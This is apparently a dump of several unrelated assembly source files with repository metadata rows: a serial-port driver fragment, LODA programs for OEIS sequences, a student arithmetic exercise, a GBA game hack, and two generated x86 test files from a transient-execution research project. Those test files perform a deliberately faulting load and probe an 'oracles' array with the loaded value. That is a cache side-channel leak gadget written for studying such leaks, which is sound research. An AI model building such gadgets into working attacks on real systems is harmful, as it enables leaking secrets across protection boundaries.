je .dis_com4
.no_com:
stc
mov eax, 1 ;error 1, no com port found.
retn
.dis_com1:
mov [com_clients.com1_client], dword -1
cmp [com_clients.com3_client], dword -1
jne .no_unhook1
;unhook irq
mov al, 4
mov esi, serial_irq4
;externfunc unhook_irq, noclass ;------NOTE!!!!!----------
;it was commented cause function not coded yet.
.no_unhook1:
clc
retn
.dis_com2:
mov [com_clients.com2_client], dword -1
cmp [com_clients.com4_client], dword -1
jne .no_unhook2
;unhook irq
mov al, 3
mov esi, serial_irq3
;externfunc unhook_irq, noclass
.no_unhook2:
clc
retn
.dis_com3:
mov [com_clients.com3_client], dword -1
cmp [com_clients.com1_client], dword -1
jne .no_unhook3
;unhook irq
mov al, 4
mov esi, serial_irq4
;externfunc unhook_irq, noclass
.no_unhook3:
clc
retn
.dis_com4:
mov [com_clients.com4_client], dword -1
cmp [com_clients.com2_client], dword -1
jne .no_unhook4
;unhook irq
mov al, 3
mov esi, serial_irq3
;externfunc unhook_irq, noclass
.no_unhook4:
clc
retn
;====------[ VARIABLES ]------=====
com_ports:
global com1_port
global com2_port
global com3_port
global com4_port
com1_port: dw -1
com2_port: dw -1
com3_port: dw -1
com4_port: dw -1
divisors:
.2400: db 0x30
.4800: db 0x18
.9600: db 0x0C
.19200: db 0x06
.38400: db 0x03
.57600: db 0x02
.115200: db 0x01
com_clients:
.com1_client: dd -1
.com2_client: dd -1
.com3_client: dd -1
.com4_client: dd -1
irq3share: db 0 ;boolean to see whether we are sharing IRQ3 or not.
irq4share: db 0 ;same but for IRQ4.
struc com_buffer ;size is 11bytes
.com: resb 1
.location: resd 1
.size: resw 1
.in: resw 1
.out: resw 1
endstruc
;===-----[ COM BUFFERS ]------===
com1_buffer:
.location: dd -1
.size: dw -1
.in: dw 0
.out: dw 0
com2_buffer:
.location: dd -1
.size: dw -1
.in: dw 0
.out: dw 0
com3_buffer:
.location: dd -1
.size: dw -1
.in: dw 0
.out: dw 0
com4_buffer:
.location: dd -1
.size: dw -1
.in: dw 0
.out: dw 0
| 18.560396
| 80
| 0.646431
|
d985aefda5008148296729d7cd39235f29a900fb
| 1,996
|
asm
|
Assembly
|
programs/oeis/213/A213758.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/213/A213758.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/213/A213758.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A213758: Antidiagonal sums of the convolution array A213756.
; 1,9,40,130,355,871,1994,4360,9245,19205,39356,79934,161415,324755,651870,1306596,2616609,5237265,10479280,20964090,41934571,83876479,167761330,335532160,671075045,1342162141,2684337764,5368690550,10737397775,21474813995,42949648326,85899319004,171798662505,343597351785,687194732760,1374389497266,2748779028979,5497558095255,10995116230810,21990232505080,43980465056941,87960930164149,175921860382220,351843720822190,703687441706135,1407374883478211,2814749767026734,5629499534128340,11258999068336305,22517998136757185,45035996273604096,90071992547303274,180143985094707195,360287970189520815,720575940379154050,1441151880758426736,2882303761516978549,5764607523034088845,11529215046068316340,23058430092136778470,46116860184273710111,92233720368547581019,184467440737095330710,368934881474190838220,737869762948381861625,1475739525896763917081,2951479051793528036904,5902958103587056285730,11805916207174112792835,23611832414348225816775,47223664828696451874666,94447329657392904000744,188894659314785808263485,377789318629571616799845,755578637259143233883740,1511157274518286468063006,3022314549036572936433319,6044629098073145873186035,12089258196146291746703870,24178516392292583493752260,48357032784585166987862081,96714065569170333976095089,193428131138340667952574800,386856262276681335905548250,773712524553362671811509515,1547425049106725343623446751,3094850098213450687247336274,6189700196426901374495130720,12379400392853802748990735365,24758800785707605497981960765,49517601571415210995964428036,99035203142830421991929379414,198070406285660843983859299375,396140812571321687967719156875,792281625142643375935438889830,1584563250285286751870878374076,3169126500570573503741757361289,6338253001141147007483515354825,12676506002282294014967031361400,25353012004564588029934063394450
lpb $0
mov $2,$0
sub $0,1
seq $2,213764 ; Antidiagonal sums of the convolution array A213762.
add $1,$2
lpe
add $1,1
mov $0,$1
| 166.333333
| 1,796
| 0.917836
|
8a7aa5d851a7049a04fb28cc5c2d5f99e87ecb93
| 530
|
asm
|
Assembly
|
final practice/f_2017/question4b/question4.asm
|
ConstantinCezB/Computer-Architecture-assembly
|
24ddc05c96d2be019c77e914a3b1146352b4088e
|
[
"Apache-2.0"
] | null | null | null |
final practice/f_2017/question4b/question4.asm
|
ConstantinCezB/Computer-Architecture-assembly
|
24ddc05c96d2be019c77e914a3b1146352b4088e
|
[
"Apache-2.0"
] | null | null | null |
final practice/f_2017/question4b/question4.asm
|
ConstantinCezB/Computer-Architecture-assembly
|
24ddc05c96d2be019c77e914a3b1146352b4088e
|
[
"Apache-2.0"
] | null | null | null |
include Irvine32.inc
; E = ( A x B ) % ( C % D )
.data
; creating the variables
aVar WORD 10
bVar WORD 5 ;50
cVar WORD 2 ;25
dVar WORD 5 ;5
eVar BYTE 0
;16
;32 DX:AX
;16 AX
;8 AL
.code
main proc
MOV EAX, 0
MOV AX, aVar
MUL bVar ;the answer is 32 bits thus stored in DX:AX
DIV cVar ;This will take the DX:AX answer and then store it in AX
DIV dVar ;Since it takes the part from ax and then stores the ans AL
MOV eVar, al
MOV EAX,0
MOV al, eVar
CALL WriteDec
CALL Crlf
exit
main ENDP
END main
| 13.947368
| 70
| 0.658491
|
97c09c10f5fa32d03362c97763a112c7ae5d60d0
| 741
|
asm
|
Assembly
|
Engine Hacks/StatScreenAllegiance/asm/statscreenAlleg.asm
|
sme23/MekkahRestrictedHackComp1
|
1cc9d2fec557424f358b6bfa21f9f3bb6faf2978
|
[
"CC0-1.0"
] | 1
|
2021-09-27T02:59:12.000Z
|
2021-09-27T02:59:12.000Z
|
Wizardry/ExternalHacks/StatScreenAllegiance/asm/statscreenAlleg.s
|
sme23/WhatHeck
|
746a2be83358aaa4e855182176b47c4808f2587a
|
[
"CC0-1.0"
] | null | null | null |
Wizardry/ExternalHacks/StatScreenAllegiance/asm/statscreenAlleg.s
|
sme23/WhatHeck
|
746a2be83358aaa4e855182176b47c4808f2587a
|
[
"CC0-1.0"
] | null | null | null |
.thumb
//fetches the appropriate palette based on unit allegiance and returns to 80885a4
ldr r2,=0x202bcc4
ldrh r0,[r2] @xcoord
ldrh r1,[r2,#2] @ycoord
bl GetUnitFromCoords
cmp r0,#0
bne CheckAlleg
ldr r0,=0x202be44
ldrb r0,[r0]
CheckAlleg:
mov r1,#0xc0
and r1,r0
ldr r0,=0x8a06460
cmp r1,#0
beq End //if ally, we're done
cmp r1,#0x40
beq NPC
cmp r1,#0x80
beq Enemy
cmp r1,#0xc0
bne End //default to ally (just in case)
add r0,#0x60
b End
NPC:
add r0,#0x40
b End
Enemy:
add r0,#0x20
End:
mov r1, #0xc0
lsl r1,#1
mov r2,#0x80
ldr r3, =0x80885a5
bx r3
GetUnitFromCoords:
@gets deployment number, given r0=x and r1=y
ldr r2,=0x202e4d8 @pointer to unit map
ldr r2,[r2]
lsl r1,#2 @y*4
add r1,r2 @row address
ldr r1,[r1]
ldrb r0,[r1,r0]
bx lr
| 15.122449
| 81
| 0.720648
|
4100140c2a77ff03c0659bf114d252d0a527d71d
| 7,309
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_357.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_357.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_357.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1c5da, %r8
sub $2270, %rax
movb (%r8), %r14b
sub %rsi, %rsi
lea addresses_WC_ht+0x9bda, %rdi
nop
nop
nop
add $34755, %r9
mov (%rdi), %rbp
nop
nop
inc %rsi
lea addresses_A_ht+0xd2da, %rsi
lea addresses_D_ht+0xa79a, %rdi
clflush (%rsi)
nop
nop
cmp %r14, %r14
mov $19, %rcx
rep movsl
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_A_ht+0x127da, %rax
lfence
mov (%rax), %ecx
nop
nop
nop
xor %rbp, %rbp
lea addresses_D_ht+0x45a8, %rdi
nop
nop
nop
inc %rax
movb (%rdi), %r9b
nop
nop
nop
nop
and $5350, %rdi
lea addresses_normal_ht+0x45a, %r14
nop
nop
nop
add $7256, %r8
vmovups (%r14), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rax
nop
nop
nop
nop
add %rbp, %rbp
lea addresses_UC_ht+0xe8c2, %rsi
clflush (%rsi)
inc %rdi
mov (%rsi), %r14d
nop
and %rcx, %rcx
lea addresses_normal_ht+0x7faa, %r14
clflush (%r14)
nop
nop
nop
nop
cmp $61873, %rsi
vmovups (%r14), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %r9
nop
xor %r8, %r8
lea addresses_A_ht+0x3ca, %rdi
nop
nop
nop
nop
nop
inc %r9
mov $0x6162636465666768, %rcx
movq %rcx, (%rdi)
nop
sub %r8, %r8
lea addresses_WT_ht+0xc39a, %r9
nop
nop
nop
nop
nop
add $23759, %r8
mov (%r9), %si
sub %rdi, %rdi
lea addresses_UC_ht+0x1eaea, %rsi
lea addresses_A_ht+0x165da, %rdi
cmp %r8, %r8
mov $77, %rcx
rep movsq
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_A_ht+0x169da, %r14
nop
nop
nop
xor %rax, %rax
movl $0x61626364, (%r14)
nop
nop
xor %r8, %r8
lea addresses_UC_ht+0x1b1da, %r8
dec %rbp
movw $0x6162, (%r8)
nop
nop
nop
nop
nop
dec %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r8
push %r9
push %rdx
push %rsi
// Store
lea addresses_WC+0x90be, %r9
nop
nop
nop
cmp $63880, %r8
mov $0x5152535455565758, %rdx
movq %rdx, %xmm4
movups %xmm4, (%r9)
nop
inc %r14
// Faulty Load
lea addresses_UC+0x119da, %r9
nop
nop
cmp %r10, %r10
mov (%r9), %r8w
lea oracles, %rsi
and $0xff, %r8
shlq $12, %r8
mov (%rsi,%r8,1), %r8
pop %rsi
pop %rdx
pop %r9
pop %r8
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_WC', 'AVXalign': False, 'size': 16}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': True, 'same': False, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'src': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 8, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 34.804762
| 2,999
| 0.65221
|
185041312ecc117c783ca7da78284ccbbc705480
| 6,918
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_972.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_972.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_972.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xe13, %r14
add $12677, %rsi
and $0xffffffffffffffc0, %r14
vmovaps (%r14), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x85c3, %rdi
nop
nop
nop
nop
sub $45741, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, (%rdi)
nop
nop
nop
nop
dec %rbp
lea addresses_WC_ht+0xa13, %r14
nop
cmp $19946, %r10
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
nop
and $58586, %rbp
lea addresses_WT_ht+0x11993, %rdx
nop
nop
nop
and $50397, %rdi
movb $0x61, (%rdx)
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_A_ht+0x1ae13, %rdx
add $1874, %rbp
mov $0x6162636465666768, %rsi
movq %rsi, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
nop
cmp $56560, %rbp
lea addresses_A_ht+0x16c13, %r14
nop
inc %rdx
mov $0x6162636465666768, %r10
movq %r10, %xmm1
vmovups %ymm1, (%r14)
nop
nop
nop
nop
nop
add %rsi, %rsi
lea addresses_D_ht+0xc29f, %rsi
lea addresses_UC_ht+0xba73, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
and $60927, %rbx
mov $122, %rcx
rep movsb
nop
dec %rcx
lea addresses_normal_ht+0x5f13, %rsi
lea addresses_D_ht+0x16e13, %rdi
nop
sub %rdx, %rdx
mov $36, %rcx
rep movsl
nop
nop
nop
add %rbp, %rbp
lea addresses_UC_ht+0x8533, %rsi
lea addresses_A_ht+0x4e13, %rdi
nop
nop
xor $4203, %rdx
mov $57, %rcx
rep movsw
nop
nop
nop
nop
and $61791, %rdx
lea addresses_normal_ht+0x34a5, %rsi
lea addresses_UC_ht+0x10a13, %rdi
dec %r14
mov $116, %rcx
rep movsq
nop
nop
nop
nop
sub $42182, %rbp
lea addresses_D_ht+0xf213, %rdx
nop
nop
nop
nop
nop
and %rbx, %rbx
mov (%rdx), %r10d
nop
nop
nop
nop
xor $43174, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rbp
push %rbx
push %rdi
push %rdx
// Faulty Load
mov $0xcaec50000000e13, %r12
nop
nop
cmp $26508, %rdi
mov (%r12), %rdx
lea oracles, %r14
and $0xff, %rdx
shlq $12, %rdx
mov (%r14,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 35.116751
| 2,999
| 0.661897
|
3a51a83fe69133b2a48afab4a90dd1a773d26a35
| 1,467
|
asm
|
Assembly
|
programs/oeis/293/A293688.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/293/A293688.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/293/A293688.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A293688: Partial sums of A002251.
; 0,2,3,8,15,18,28,32,45,60,66,84,104,112,135,144,170,198,209,240,252,286,322,336,375,416,432,476,493,540,589,608,660,714,735,792,814,874,936,960,1025,1050,1118,1188,1215,1288,1363,1392,1470,1500,1581,1664,1696,1782,1815,1904,1995,2030,2124,2220,2257,2356,2394,2496,2600,2640,2747,2856,2898,3010,3053,3168,3285,3330,3450,3496,3619,3744,3792,3920,4050,4100,4233,4284,4420,4558,4611,4752,4895,4950,5096,5152,5301,5452,5510,5664,5723,5880,6039,6100,6262,6426,6489,6656,6720,6890,7062,7128,7303,7370,7548,7728,7797,7980,8165,8236,8424,8496,8687,8880,8954,9150,9348,9424,9625,9702,9906,10112,10191,10400,10480,10692,10906,10988,11205,11424,11508,11730,11815,12040,12267,12354,12584,12672,12905,13140,13230,13468,13708,13800,14043,14136,14382,14630,14725,14976,15229,15326,15582,15680,15939,16200,16300,16564,16665,16932,17201,17304,17576,17850,17955,18232,18338,18618,18900,19008,19293,19580,19690,19980,20091,20384,20679,20792,21090,21204,21505,21808,21924,22230,22538,22656,22967,23086,23400,23716,23837,24156,24278,24600,24924,25048,25375,25704,25830,26162,26289,26624,26961,27090,27430,27772,27903,28248,28380,28728,29078,29212,29565,29700,30056,30414,30551,30912,31275,31414,31780,31920,32289,32660,32802,33176,33552,33696,34075,34220,34602,34